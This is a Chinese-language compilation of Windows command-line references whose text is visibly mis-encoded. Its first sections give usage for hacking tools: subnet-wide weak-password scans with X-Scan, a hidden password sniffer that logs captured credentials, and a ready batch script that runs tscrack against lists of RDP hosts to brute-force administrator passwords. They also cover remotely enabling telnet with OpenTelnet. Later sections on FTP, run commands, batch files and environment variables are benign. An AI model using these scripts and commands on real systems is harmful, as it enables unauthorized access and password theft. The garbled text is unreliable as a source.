-pub 檢測(cè)FTP服務(wù)匿名用戶寫(xiě)權(quán)限 
-pop3 檢測(cè)POP3-Server弱口令 
-smtp 檢測(cè)SMTP-Server漏洞 
-sql 檢測(cè)SQL-Server弱口令 
-smb 檢測(cè)NT-Server弱口令 
-iis 檢測(cè)IIS編碼/解碼漏洞 
-cgi 檢測(cè)CGI漏洞 
-nasl 加載Nessus攻擊腳本 
-all 檢測(cè)以上所有項(xiàng)目 
其它選項(xiàng) 
-i 適配器編號(hào) 設(shè)置網(wǎng)絡(luò)適配器, <適配器編號(hào)>可通過(guò)"-l"參數(shù)獲取 
-l 顯示所有網(wǎng)絡(luò)適配器 
-v 顯示詳細(xì)掃描進(jìn)度 
-p 跳過(guò)沒(méi)有響應(yīng)的主機(jī) 
-o 跳過(guò)沒(méi)有檢測(cè)到開(kāi)放端口的主機(jī) 
  -t 并發(fā)線程數(shù)量,并發(fā)主機(jī)數(shù)量 指定最大并發(fā)線程數(shù)量和并發(fā)主機(jī)數(shù)量, 默認(rèn)數(shù)量為100,10 
-log 文件名 指定掃描報(bào)告文件名 (后綴為:TXT或HTML格式的文件) 
用法示例 
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  檢測(cè)192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機(jī)的所有漏洞,跳過(guò)無(wú)響應(yīng)的主機(jī) 
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測(cè)192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機(jī)的標(biāo)準(zhǔn)端口狀態(tài),NT弱口令用戶,最大并發(fā)線程數(shù)量為150,跳過(guò)沒(méi)有檢測(cè)到開(kāi)放 端口的主機(jī) 
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測(cè)"hostlist.txt"文件中列出的所有主機(jī)的標(biāo)準(zhǔn)端口狀態(tài),CGI漏洞,最大并發(fā)線程數(shù)量為200,同一時(shí)刻最多檢測(cè)5臺(tái)主機(jī),顯示詳細(xì)檢測(cè) 進(jìn)度,跳過(guò)沒(méi)有檢測(cè)到開(kāi)放端口的主機(jī) 

#9 九: 

3、命令行方式嗅探器: xsniff.exe 
可捕獲局域網(wǎng)內(nèi)FTP/SMTP/POP3/HTTP協(xié)議密碼 
參數(shù)說(shuō)明 
-tcp 輸出TCP數(shù)據(jù)報(bào) 
-udp 輸出UDP數(shù)據(jù)報(bào) 
-icmp 輸出ICMP數(shù)據(jù)報(bào) 
-pass 過(guò)濾密碼信息 
-hide 后臺(tái)運(yùn)行 
-host 解析主機(jī)名 
-addr IP地址 過(guò)濾IP地址 
-port 端口 過(guò)濾端口 
-log 文件名 將輸出保存到文件 
-asc 以ASCII形式輸出 
-hex 以16進(jìn)制形式輸出 
用法示例 
xsniff.exe -pass -hide -log pass.log 后臺(tái)運(yùn)行嗅探密碼并將密碼信息保存在pass.log文件中 
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并過(guò)濾tcp和udp信息并以ASCII格式輸出 

4、終端服務(wù)密碼破解: tscrack.exe 

參數(shù)說(shuō)明 
-h 顯示使用幫助 
-v 顯示版本信息 
-s 在屏幕上打出解密能力 
-b 密碼錯(cuò)誤時(shí)發(fā)出的聲音 
-t 同是發(fā)出多個(gè)連接(多線程) 
-N Prevent System Log entries on targeted server 
-U 卸載移除tscrack組件 
-f 使用-f后面的密碼 
-F 間隔時(shí)間(頻率) 
-l 使用-l后面的用戶名 
-w 使用-w后面的密碼字典 
-p 使用-p后面的密碼 
-D 登錄主頁(yè)面 
用法示例 
tscrack 192.168.0.1 -l administrator -w pass.dic 遠(yuǎn)程用密碼字典文件暴破主機(jī)的administrator的登陸密碼 
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠(yuǎn)程登陸192.168.0.1的administrator用戶 
@if not exist ipcscan.txt goto noscan 
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 
nscan 
@echo 3389.txt no find or scan faild 
(①存為3389.bat) (假設(shè)現(xiàn)有用SuperScan或其它掃錨器掃到一批開(kāi)有3389的主機(jī)IP列表文件3389.txt) 
3389.bat意思是:從3389.txt文件中取一個(gè)IP,接著運(yùn)行hack.bat 
@if not exist tscrack.exe goto noscan 
@tscrack %1 -l administrator -w pass.dic >>rouji.txt 
:noscan 
@echo tscrack.exe no find or scan faild 
(②存為hack.bat) (運(yùn)行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個(gè)目錄下;就可以等待結(jié)果了) 
hack.bat意思是:運(yùn)行tscrack.exe用字典暴破3389.txt中所有主機(jī)的administrator密碼,并將破解結(jié)果保存在rouji.txt文件中。 

5、其它: 

Shutdown.exe 
Shutdown \\IP地址 t:20 20秒后將對(duì)方NT自動(dòng)關(guān)閉(Windows 2003系統(tǒng)自帶工具,在Windows2000下用進(jìn)就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細(xì)介紹。) 
fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細(xì)說(shuō)明(端口重定向繞過(guò)防火墻) 
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當(dāng)有人掃錨你的80端口時(shí),他掃到的結(jié)果會(huì)完全是www.sina.com.cn的主機(jī)信息 
Fpipe -l 23 -s 88 -r 23 目標(biāo)IP 把本機(jī)向目標(biāo)IP發(fā)送的23端口Telnet請(qǐng)求經(jīng)端口重定向后,就通過(guò)88端口發(fā)送到目標(biāo)IP的23端口。(與目標(biāo)IP建立Telnet時(shí)本機(jī)就用的 88端口與其相連接)然后:直接Telnet 127.0.0.1(本機(jī)IP)就連接到目標(biāo)IP的23端口了。 
OpenTelnet.exe (遠(yuǎn)程開(kāi)啟telnet工具) 
opentelnet.exe \\IP 賬號(hào) 密碼 ntlm認(rèn)證方式 Telnet端口 (不需要上傳ntlm.exe破壞微軟的身份驗(yàn)證方式)直接遠(yuǎn)程開(kāi)啟對(duì)方的telnet服務(wù)后,就可用telnet \\ip 連接上對(duì)方。 
NTLM認(rèn)證方式:0:不使用NTLM身份驗(yàn)證;1:先嘗試NTLM身份驗(yàn)證,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗(yàn)證。 

ResumeTelnet.exe (OpenTelnet附帶的另一個(gè)工具) 
resumetelnet.exe \\IP 賬號(hào) 密碼 用Telnet連接完對(duì)方后,就用這個(gè)命令將對(duì)方的Telnet設(shè)置還原,并同時(shí)關(guān)閉Telnet服務(wù)。 

#10 十: 

6、FTP命令詳解: 

FTP命令是Internet用戶使用最頻繁的命令之一,熟悉并靈活應(yīng)用FTP的內(nèi)部命令,可以大大方便使用者,并收到事半功倍之效。如果你想學(xué)習(xí)使用進(jìn)行后臺(tái)FTP下載,那么就必須學(xué)習(xí)FTP指令。 

FTP的命令行格式為: 
ftp -v -d -i -n -g [主機(jī)名] ,其中 

-v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息; 

-n 限制ftp的自動(dòng)登錄,即不使用;.n etrc文件; 

-d 使用調(diào)試方式; 

-g 取消全局文件名。 

FTP使用的內(nèi)部命令如下(中括號(hào)表示可選項(xiàng)): 

1.![cmd[args]]:在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如:!ls*.zip 
2.$ macro-ame[args]: 執(zhí)行宏定義macro-name。 

3.account[password]: 提供登錄遠(yuǎn)程系統(tǒng)成功后訪問(wèn)系統(tǒng)資源所需的補(bǔ)充口令。 
4.append local-file[remote-file]:將本地文件追加到遠(yuǎn)程系統(tǒng)主機(jī),若未指定遠(yuǎn)程系統(tǒng)文件名,則使用本地文件名。 

5.ascii:使用ascii類型傳輸方式。 
6.bell:每個(gè)命令執(zhí)行完畢后計(jì)算機(jī)響鈴一次。 

7.bin:使用二進(jìn)制文件傳輸方式。 
8.bye:退出ftp會(huì)話過(guò)程。 

9.case:在使用mget時(shí),將遠(yuǎn)程主機(jī)文件名中的大寫(xiě)轉(zhuǎn)為小寫(xiě)字母。 
10.cd remote-dir:進(jìn)入遠(yuǎn)程主機(jī)目錄。 

11.cdup:進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄。 
12.chmod mode file-name:將遠(yuǎn)程主機(jī)文件file-name的存取方式設(shè)置為mode,如:chmod 777 a.out。 

13.close:中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))。 
14.cr:使用asscii方式傳輸文件時(shí),將回車換行轉(zhuǎn)換為回行。 

15.delete remote-file:刪除遠(yuǎn)程主機(jī)文件。 
16.debug[debug-value]:設(shè)置調(diào)試方式, 顯示發(fā)送至遠(yuǎn)程主機(jī)的每條命令,如:deb up 3,若設(shè)為0,表示取消debug。 

17.dir[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄,并將結(jié)果存入本地文件。 
18.disconnection:同close。 

19.form format:將文件傳輸方式設(shè)置為format,缺省為file方式。 
20.get remote-file[local-file]: 將遠(yuǎn)程主機(jī)的文件remote-file傳至本地硬盤(pán)的local-file。 

21.glob:設(shè)置mdelete,mget,mput的文件名擴(kuò)展,缺省時(shí)不擴(kuò)展文件名,同命令行的-g參數(shù)。 
22.hash:每傳輸1024字節(jié),顯示一個(gè)hash符號(hào)(#)。 

23.help[cmd]:顯示ftp內(nèi)部命令cmd的幫助信息,如:help get。 
24.idle[seconds]:將遠(yuǎn)程服務(wù)器的休眠計(jì)時(shí)器設(shè)為[seconds]秒。 

25.image:設(shè)置二進(jìn)制傳輸方式(同binary)。 
26.lcd[dir]:將本地工作目錄切換至dir。 

27.ls[remote-dir][local-file]:顯示遠(yuǎn)程目錄remote-dir, 并存入本地文件local-file。 
28.macdef macro-name:定義一個(gè)宏,遇到macdef下的空行時(shí),宏定義結(jié)束。 

29.mdelete[remote-file]:刪除遠(yuǎn)程主機(jī)文件。 
30.mdir remote-files local-file:與dir類似,但可指定多個(gè)遠(yuǎn)程文件,如 :mdir *.o.*.zipoutfile 。 

31.mget remote-files:傳輸多個(gè)遠(yuǎn)程文件。 
32.mkdir dir-name:在遠(yuǎn)程主機(jī)中建一目錄。 

33.mls remote-file local-file:同nlist,但可指定多個(gè)文件名。 
34.mode[modename]:將文件傳輸方式設(shè)置為modename, 缺省為stream方式。 

35.modtime file-name:顯示遠(yuǎn)程主機(jī)文件的最后修改時(shí)間。 
36.mput local-file:將多個(gè)文件傳輸至遠(yuǎn)程主機(jī)。 

37.newer file-name: 如果遠(yuǎn)程機(jī)中file-name的修改時(shí)間比本地硬盤(pán)同名文件的時(shí)間更近,則重傳該文件。 
38.nlist[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄的文件清單,并存入本地硬盤(pán)的local-file。 

39.nmap[inpattern outpattern]:設(shè)置文件名映射機(jī)制, 使得文件傳輸時(shí),文件中的某些字符相互轉(zhuǎn)換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時(shí),文件名變?yōu)閍1,a2。 該命令特別適用于遠(yuǎn)程主機(jī)為非UNIX機(jī)的情況。 
40.ntrans[inchars[outchars]]:設(shè)置文件名字符的翻譯機(jī)制,如ntrans1R,則文件名LLL將變?yōu)镽RR。 

41.open host[port]:建立指定ftp服務(wù)器連接,可指定連接端口。 
42.passive:進(jìn)入被動(dòng)傳輸方式。 

43.prompt:設(shè)置多個(gè)文件傳輸時(shí)的交互提示。 
44.proxy ftp-cmd:在次要控制連接中,執(zhí)行一條ftp命令, 該命令允許連接兩個(gè)ftp服務(wù)器,以在兩個(gè)服務(wù)器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個(gè)服務(wù)器間的連接。 
45.put local-file[remote-file]:將本地文件local-file傳送至遠(yuǎn)程主機(jī)。 
46.pwd:顯示遠(yuǎn)程主機(jī)的當(dāng)前工作目錄。 

47.quit:同bye,退出ftp會(huì)話。 
48.quote arg1,arg2...:將參數(shù)逐字發(fā)至遠(yuǎn)程ftp服務(wù)器,如:quote syst. 

49.recv remote-file[local-file]:同get。 
50.reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續(xù)傳。 

51.rhelp[cmd-name]:請(qǐng)求獲得遠(yuǎn)程主機(jī)的幫助。 
52.rstatus[file-name]:若未指定文件名,則顯示遠(yuǎn)程主機(jī)的狀態(tài), 否則顯示文件狀態(tài)。 

53.rename[from][to]:更改遠(yuǎn)程主機(jī)文件名。 
54.reset:清除回答隊(duì)列。 

55.restart marker:從指定的標(biāo)志marker處,重新開(kāi)始get或put,如:restart 130。 
56.rmdir dir-name:刪除遠(yuǎn)程主機(jī)目錄。 

57.runique:設(shè)置文件名只一性存儲(chǔ),若文件存在,則在原文件后加后綴.1, .2等。 
58.send local-file[remote-file]:同put。 

59.sendport:設(shè)置PORT命令的使用。 
60.site arg1,arg2...:將參數(shù)作為SITE命令逐字發(fā)送至遠(yuǎn)程ftp主機(jī)。 

61.size file-name:顯示遠(yuǎn)程主機(jī)文件大小,如:site idle 7200。 
62.status:顯示當(dāng)前ftp狀態(tài)。 

63.struct[struct-name]:將文件傳輸結(jié)構(gòu)設(shè)置為struct-name, 缺省時(shí)使用stream結(jié)構(gòu)。 
64.sunique:將遠(yuǎn)程主機(jī)文件名存儲(chǔ)設(shè)置為只一(與runique對(duì)應(yīng))。 

65.system:顯示遠(yuǎn)程主機(jī)的操作系統(tǒng)類型。 
66.tenex:將文件傳輸類型設(shè)置為T(mén)ENEX機(jī)的所需的類型。 

67.tick:設(shè)置傳輸時(shí)的字節(jié)計(jì)數(shù)器。 
68.trace:設(shè)置包跟蹤。 

69.type[type-name]:設(shè)置文件傳輸類型為type-name,缺省為ascii,如:type binary,設(shè)置二進(jìn)制傳輸方式。 
70.umask[newmask]:將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask,如:umask 3 

71.user user-name[password][account]:向遠(yuǎn)程主機(jī)表明自己的身份,需要口令時(shí),必須輸入口令,如:user anonymous my@email。 
72.verbose:同命令行的-v參數(shù),即設(shè)置詳盡報(bào)告方式,ftp 服務(wù)器的所有響 應(yīng)都將顯示給用戶,缺省為on. 

73.?[cmd]:同help. 

#11 十一: 

7:計(jì)算機(jī)運(yùn)行命令全集 winver---------檢查Windows版本 
wmimgmt.msc----打開(kāi)windows管理體系結(jié)構(gòu) 
wupdmgr--------windows更新程序 
winver---------檢查Windows版本 
wmimgmt.msc----打開(kāi)windows管理體系結(jié)構(gòu) 
wupdmgr--------windows更新程序 
wscript--------windows腳本宿主設(shè)置 
write----------寫(xiě)字板winmsd-----系統(tǒng)信息 
wiaacmgr-------掃描儀和照相機(jī)向?qū)?nbsp;
winchat--------XP自帶局域網(wǎng)聊天 
mem.exe--------顯示內(nèi)存使用情況 
Msconfig.exe---系統(tǒng)配置實(shí)用程序 
mplayer2-------簡(jiǎn)易widnows media player 
mspaint--------畫(huà)圖板 
mstsc----------遠(yuǎn)程桌面連接 
mplayer2-------媒體播放機(jī) 
magnify--------放大鏡實(shí)用程序 
mmc------------打開(kāi)控制臺(tái) 
mobsync--------同步命令 
dxdiag---------檢查DirectX信息 
drwtsn32------ 系統(tǒng)醫(yī)生 
devmgmt.msc--- 設(shè)備管理器 
dfrg.msc-------磁盤(pán)碎片整理程序 
diskmgmt.msc---磁盤(pán)管理實(shí)用程序 
dcomcnfg-------打開(kāi)系統(tǒng)組件服務(wù) 
ddeshare-------打開(kāi)DDE共享設(shè)置 
dvdplay--------DVD播放器 
net stop messenger-----停止信使服務(wù) 
net start messenger----開(kāi)始信使服務(wù) 
notepad--------打開(kāi)記事本 
nslookup-------網(wǎng)絡(luò)管理的工具向?qū)?nbsp;
ntbackup-------系統(tǒng)備份和還原 
narrator-------屏幕"講述人" 
ntmsmgr.msc----移動(dòng)存儲(chǔ)管理器 
ntmsoprq.msc---移動(dòng)存儲(chǔ)管理員操作請(qǐng)求 
netstat -an----(TC)命令檢查接口 
syncapp--------創(chuàng)建一個(gè)公文包 
sysedit--------系統(tǒng)配置編輯器 
sigverif-------文件簽名驗(yàn)證程序 
sndrec32-------錄音機(jī) 
shrpubw--------創(chuàng)建共享文件夾 
secpol.msc-----本地安全策略 
syskey---------系統(tǒng)加密,一旦加密就不能解開(kāi),保護(hù)windows xp系統(tǒng)的雙重密碼 
services.msc---本地服務(wù)設(shè)置 
Sndvol32-------音量控制程序 
sfc.exe--------系統(tǒng)文件檢查器 
sfc /scannow---windows文件保護(hù) 
tsshutdn-------60秒倒計(jì)時(shí)關(guān)機(jī)命令 
tourstart------xp簡(jiǎn)介(安裝完成后出現(xiàn)的漫游xp程序) 
taskmgr--------任務(wù)管理器 
eventvwr-------事件查看器 
eudcedit-------造字程序 
explorer-------打開(kāi)資源管理器 
packager-------對(duì)象包裝程序 
perfmon.msc----計(jì)算機(jī)性能監(jiān)測(cè)程序 
progman--------程序管理器 
regedit.exe----注冊(cè)表 
rsop.msc-------組策略結(jié)果集 
regedt32-------注冊(cè)表編輯器 
rononce -p ----15秒關(guān)機(jī) 
regsvr32 /u *.dll----停止dll文件運(yùn)行 
regsvr32 /u zipfldr.dll------取消ZIP支持 
cmd.exe--------CMD命令提示符 
chkdsk.exe-----Chkdsk磁盤(pán)檢查 
certmgr.msc----證書(shū)管理實(shí)用程序 
calc-----------啟動(dòng)計(jì)算器 
charmap--------啟動(dòng)字符映射表 
cliconfg-------SQL SERVER 客戶端網(wǎng)絡(luò)實(shí)用程序 
Clipbrd--------剪貼板查看器 
conf-----------啟動(dòng)netmeeting 
compmgmt.msc---計(jì)算機(jī)管理 
cleanmgr-------**整理 
ciadv.msc------索引服務(wù)程序 
osk------------打開(kāi)屏幕鍵盤(pán) 
odbcad32-------ODBC數(shù)據(jù)源管理器 
oobe/msoobe /a----檢查XP是否激活 
lusrmgr.msc----本機(jī)用戶和組 
logoff---------注銷命令 
iexpress-------木馬捆綁工具,系統(tǒng)自帶 
Nslookup-------IP地址偵測(cè)器 
fsmgmt.msc-----共享文件夾管理器 
utilman--------輔助工具管理器 
gpedit.msc-----組策略



 DOS批處理

 DOS下的可執(zhí)行文件有三種,分別是EXE,COM和BAT。其中,EXE和COM文件都是二進(jìn)制形式的,只有BAT文件是文本形式的,可以直接閱讀。因 此,BAT文件和以上二進(jìn)制可執(zhí)行文件相比,內(nèi)容要簡(jiǎn)單的多。這些文件內(nèi)包含著DOS命令的集合,通常叫作批處理文件。批處理文件的組成雖然比較簡(jiǎn)單,但 其用處非常大,使用也比較廣泛。比如每次都執(zhí)行一些相同的命令,您一定會(huì)覺(jué)得非常麻煩,而放在批處理文件中執(zhí)行的話則輕松得多。AUTOEXEC.BAT 就是一個(gè)特殊的批處理文件,它在DOS的啟動(dòng)時(shí)自動(dòng)運(yùn)行,在系統(tǒng)的配置中發(fā)揮著非常大的作用。因此,要學(xué)好DOS,就要學(xué)好批處理文件。下面介紹批處理文 件的命令及其使用。  

 DOS自帶的批處理命令:  

@ :將這個(gè)符號(hào)放在批文件中其它命令的前面,運(yùn)行時(shí)將不顯示命令本身。  
如@ECHO OFF命令就在批文件首經(jīng)常用到。  

CALL :從一個(gè)批文件中調(diào)用另一個(gè)批文件,調(diào)用完后繼續(xù)執(zhí)行原來(lái)的批文件。  
用法:CALL [批文件名]  
注:也可以使用COMMAND /C命令完成同樣的操作。  

CHOICE :選擇命令。這是一個(gè)DOS外部命令,但它主要用在批文件中。  
CHOICE命令執(zhí)行后將提示可選擇的項(xiàng)目,這時(shí)通過(guò)一個(gè)按鍵來(lái)選則。  
用法:CHOICE:[/C[:]按鍵表] [/N] [/S] [/T[:]選擇值,秒數(shù)] [顯示文本]  
其中,/C表示可選則的按鍵,/N表示不要顯示提示信息,/S表示大小寫(xiě)字符敏感方式,/T表示若在批定的時(shí)間內(nèi)沒(méi)有選則的話,自動(dòng)執(zhí)行/C中定義的某個(gè)選擇值。顯示文本是CHOICE命令執(zhí)行時(shí)的提示信息。選擇結(jié)果將用ERRORLEVEL值來(lái)表示。  

ECHO :顯示指定的信息。通常顯示在屏幕上。  
如ECHO Hello將在屏幕上顯示Hello的字樣。  
另外,ECHO ON|OFF用來(lái)設(shè)置在批文件執(zhí)行時(shí)是否顯示命令本身。而ECHO OFF與@的意思一樣,但它是一個(gè)單獨(dú)的命令,而不能像@那樣放在其它命令之前。  

FOR :對(duì)于指定的文件運(yùn)行相應(yīng)的命令。  
大家知道,DOS下許多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。然而,并非所有的DOS命令都支持通配符,如TYPE(文件內(nèi)容顯示命令)就不支持。有了FOR命令就沒(méi)有關(guān)系了,利于它可以使TYPE命令可以一次顯示多個(gè)文件。  
用法:FOR %變量名 IN (文件集) DO 命令 [命令參數(shù)]  
注:以上是FOR命令的固定形式,IN和DO的位置必須正確,否則將提示語(yǔ)法錯(cuò)誤。  
如FOR %F IN (*.*) DO TYPE %F命令就可以實(shí)現(xiàn)TYPE命令一次顯示多個(gè)文件。  
注:%F是變量名,也可用%G等代替,但前后必須一致。在批文件中用%%F代替。  

GOTO :轉(zhuǎn)到批文件內(nèi)部的某個(gè)標(biāo)號(hào)下執(zhí)行。  
大家知道,在編程中往往需要重復(fù)或跳轉(zhuǎn)到某個(gè)地方繼續(xù)執(zhí)行,如BASIC語(yǔ)言中的GOTO命令。批文件中的GOTO命令也可以完成類似的功能。  
用法:GOTO [標(biāo)號(hào)名]  
其中,標(biāo)號(hào)名是可以隨意設(shè)置的,如Hello等。設(shè)置標(biāo)號(hào)用“:”符號(hào),如“:Hello”,這時(shí)用GOTO Hello命令將轉(zhuǎn)到“:Hello”所在的位置繼續(xù)執(zhí)行批文件。  

IF :條件判斷命令。這是一項(xiàng)很有用的批處理命令。  
用法1:IF [NOT] EXIST 文件名 命令 [命令參數(shù)]  
意義:如果[不]存在某個(gè)文件將執(zhí)行某個(gè)命令。  
用法2:IF [NOT] ERRORLEVEL 錯(cuò)誤返回代號(hào) 命令 [命令參數(shù)]  
意義:如果錯(cuò)誤返回代號(hào)[不]大于或等于指定的代號(hào)將執(zhí)行某個(gè)命令。  
其 中,ERRORLEVEL表示錯(cuò)誤返回代號(hào),很有用。對(duì)于很多DOS命令,由于執(zhí)行的結(jié)果不同(如執(zhí)行成功,執(zhí)行失敗,或被用戶中斷等),這些命令會(huì)返回 不同的代號(hào),以表示不同的結(jié)果。IF ERRORLEVEL命令就根據(jù)這個(gè)不同結(jié)果而產(chǎn)生的不同代號(hào)來(lái)執(zhí)行不同的命令,通常用在某條命令之后。如 IF ERRORLEVEL 1 ECHO OK!表示如果當(dāng)前的錯(cuò)誤返回代號(hào)大于或等于1時(shí)將在屏幕上顯示“OK!”的字樣。  
用法3:IF [NOT] 字符串1==字符串2 命令 [命令參數(shù)]  
意義:當(dāng)字符串1和字符串2[不]相等的時(shí)候執(zhí)行某個(gè)命令。  

PAUSE :暫停批文件的執(zhí)行,并顯示“按任意鍵繼續(xù)”的字樣。  

REM :添加注解。用于增加文件可讀性,將不被執(zhí)行。也可以用::來(lái)代替。

 



 ECHO

ECHO命令是大家都熟悉的DOS批處理命令的一條子命令,但它的一些功能和用法也許你并不是全都知道,不信你瞧: 
  1. 作為控制批處理命令在執(zhí)行時(shí)是否顯示命令行自身的開(kāi)關(guān) 
  格式:ECHO [ON|OFF] 
  如果想關(guān)閉“ECHO OFF”命令行自身的顯示,則需要在該命令行前加上“@”。 

  2. 顯示當(dāng)前ECHO設(shè)置狀態(tài)
  格式:ECHO 

  3. 輸出提示信息 
  格式:ECHO信息內(nèi)容 
  上述是ECHO命令常見(jiàn)的三種用法,也是大家熟悉和會(huì)用的,但作為DOS命令淘金者你還應(yīng)該知道下面的技巧:

  4. 關(guān)閉DOS命令提示符 
  在DOS提示符狀態(tài)下鍵入ECHO OFF,能夠關(guān)閉DOS提示符的顯示使屏幕只留下光標(biāo),直至鍵入ECHO ON,提示符才會(huì)重新出現(xiàn)。 

  5. 輸出空行,即相當(dāng)于輸入一個(gè)回車 
  格式:ECHO. 
  值得注意的是命令行中的“.”要緊跟在ECHO后面中間不能有空格,否則“.”將被當(dāng)作提示信息輸出到屏幕。另外“.”可以用,:;”/[\]+等任一符號(hào)替代。 

  在下面的例子中ECHO.輸出的回車,經(jīng)DOS管道轉(zhuǎn)向作為T(mén)IME命令的輸入,即相當(dāng)于在TIME命令執(zhí)行后給出一個(gè)回車。所以執(zhí)行時(shí)系統(tǒng)會(huì)在顯示當(dāng)前時(shí)間后,自動(dòng)返回到DOS提示符狀態(tài): 
  C:>ECHO.|TIME 

  ECHO命令輸出空行的另一個(gè)應(yīng)用實(shí)例是:將ECHO.加在自動(dòng)批處理文件中,使原本在屏幕下方顯示的提示畫(huà)面,出現(xiàn)在屏幕上方。 

  6. 答復(fù)命令中的提問(wèn) 
  格式:ECHO答復(fù)語(yǔ)|命令文件名 
   上述格式可以用于簡(jiǎn)化一些需要人機(jī)對(duì)話的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通過(guò)DOS管道命令把ECHO命令輸出的預(yù)置答復(fù)語(yǔ)作為人機(jī)對(duì)話命令的輸入。下面的例子就相當(dāng)于在調(diào)用的命令出現(xiàn)人機(jī)對(duì)話時(shí)輸入 “Y”回車: 

  C:>ECHO Y|CHKDSK/F 
  C:>ECHO Y|DEL A :*.* 

  7. 建立新文件或增加文件內(nèi)容 
  格式:ECHO 文件內(nèi)容>文件名 
  ECHO 文件內(nèi)容>>文件名 

  例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自動(dòng)批處理文件 
  C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自動(dòng)批處理文件中追加內(nèi)容 
  C:TYPE AUTOEXEC.BAT顯示該自動(dòng)批處理文件 
  @ECHO OFF 
  C:\CPAV\BOOTSAFE 

  8. 向打印機(jī)輸出打印內(nèi)容或打印控制碼 
  格式:ECHO 打印機(jī)控制碼>PRN 
  ECHO 打印內(nèi)容>PRN 
  下面的例子是向M-1724打印機(jī)輸入打印控制碼。<Alt>156是按住Alt鍵在小鍵盤(pán)鍵入156,類似情況依此類推: 

  C:>ECHO +156+42+116>PRN(輸入下劃線命令FS*t) 
  C:>ECHO +155@>PRN(輸入初始化命令ESC@) 
  C:>ECHO.>PRN(換行) 

  9. 使喇叭鳴響 
  C:>ECHO ^G 
  “^G”是用Ctrl+G或Alt+007輸入,輸入多個(gè)^G可以產(chǎn)生多聲?shū)Q響。使用方法是直接將其加入批處理文件中或做成批處理文件調(diào)用。 

  10.執(zhí)行ESC控制序列修改屏幕和鍵盤(pán)設(shè)置 
  我們知道DOS的設(shè)備驅(qū)動(dòng)程序ANSI.SYS提供了一套用來(lái)修改屏幕和鍵盤(pán)設(shè)置的ESC控制序列。如執(zhí)行下述內(nèi)容的批處理程序可以把功能鍵F12定義為DOS命令“DIR/W”,并把屏幕顏色修改為白色字符藍(lán)色背景。 
  @ECHO”←[0;134;”DIR/W”;13p 
  @ECHO”←[1;37;44m 
 ?。ㄗⅲ号幚砦募?#8220;←”字符的輸入方法是在編輯狀態(tài)下按Alt中小鍵盤(pán)上的27) 

  DOS命令是接觸計(jì)算機(jī)的人首先要學(xué)到的,對(duì)許多人來(lái)說(shuō)是太熟悉太簡(jiǎn)單了,其實(shí)不然,在這些命令中蘊(yùn)藏著豐富的內(nèi)容,仍有待于我們進(jìn)一步去理解

 

 新手指南:徹底明白操作系統(tǒng)環(huán)境變量
http://www.pconline.com.cn/pcedu/teach/empolder/system/0602/754299.html

 
1.環(huán)境變量的設(shè)置有幾種方式?

  設(shè)置環(huán)境變量有兩種方式:第一種是在命令提示符運(yùn)行窗口中設(shè)置;第二種是通過(guò)單擊“我的電腦→屬性→高級(jí)”標(biāo)簽的“環(huán)境變量”按鈕設(shè)置。需要注意的是,第一種設(shè)置環(huán)境變量的方式只對(duì)當(dāng)前運(yùn)行窗口有效,關(guān)閉運(yùn)行窗口后,設(shè)置就不起作用了,而第二種設(shè)置環(huán)境變量的方式則是永久有效。

  2.如何在命令提示符窗口中設(shè)置環(huán)境變量?

  在“開(kāi)始→運(yùn)行”框中輸入“cmd”后按“確定”按鈕,出現(xiàn)命令運(yùn)行窗口。在命令提示符下輸入“set”即可查看環(huán)境變量設(shè)置。要查看具體某個(gè)環(huán)境變量的設(shè)置,比如要查看path環(huán)境變量的設(shè)置,可以輸入“set path”。要?jiǎng)?chuàng)建一個(gè)環(huán)境變量,比如要?jiǎng)?chuàng)建一個(gè)名為aa的,值為“c:”的環(huán)境變量,可以輸入“set aa=c:”命令。而要?jiǎng)h除一個(gè)環(huán)境變量,比如要?jiǎng)h除aa環(huán)境變量,則可輸入“set aa=”命令(注意=后面不能有空格)。如何更改一個(gè)環(huán)境變量的設(shè)置呢?更改環(huán)境變量有兩種情況:一是追加方式,即在不改變環(huán)境變量現(xiàn)有設(shè)置的情況下,增加變量的值,比如要給環(huán)境變量aa增加一個(gè)值為“D:”的設(shè)置,可以輸入“set aa=%path%;D:”。另一種是完全修改方式,對(duì)于這種方式,我們可以采用直接創(chuàng)建一個(gè)環(huán)境變量的方法來(lái)實(shí)現(xiàn)。

  3.用戶變量和系統(tǒng)變量的關(guān)系是什么?

  點(diǎn)擊“我的電腦→屬性→高級(jí)”標(biāo)簽的“環(huán)境變量”按鈕,出現(xiàn)“環(huán)境變量”對(duì)話框,如果當(dāng)前是以Administrator登錄系統(tǒng)的用戶,對(duì)話框的上面為Administrator的用戶變量,對(duì)話框的下面為系統(tǒng)變量(即相當(dāng)于系統(tǒng)中所有用戶的用戶變量)。有的時(shí)候我們會(huì)看到在用戶變量和系統(tǒng)變量中都存在某一個(gè)環(huán)境變量,比如path,那么path的值到底是用戶變量中的值還是系統(tǒng)變量中的值,或者兩者都不是呢?答案是兩者都不是。path變量的值是用戶變量中的值與系統(tǒng)變量中的值的疊加。

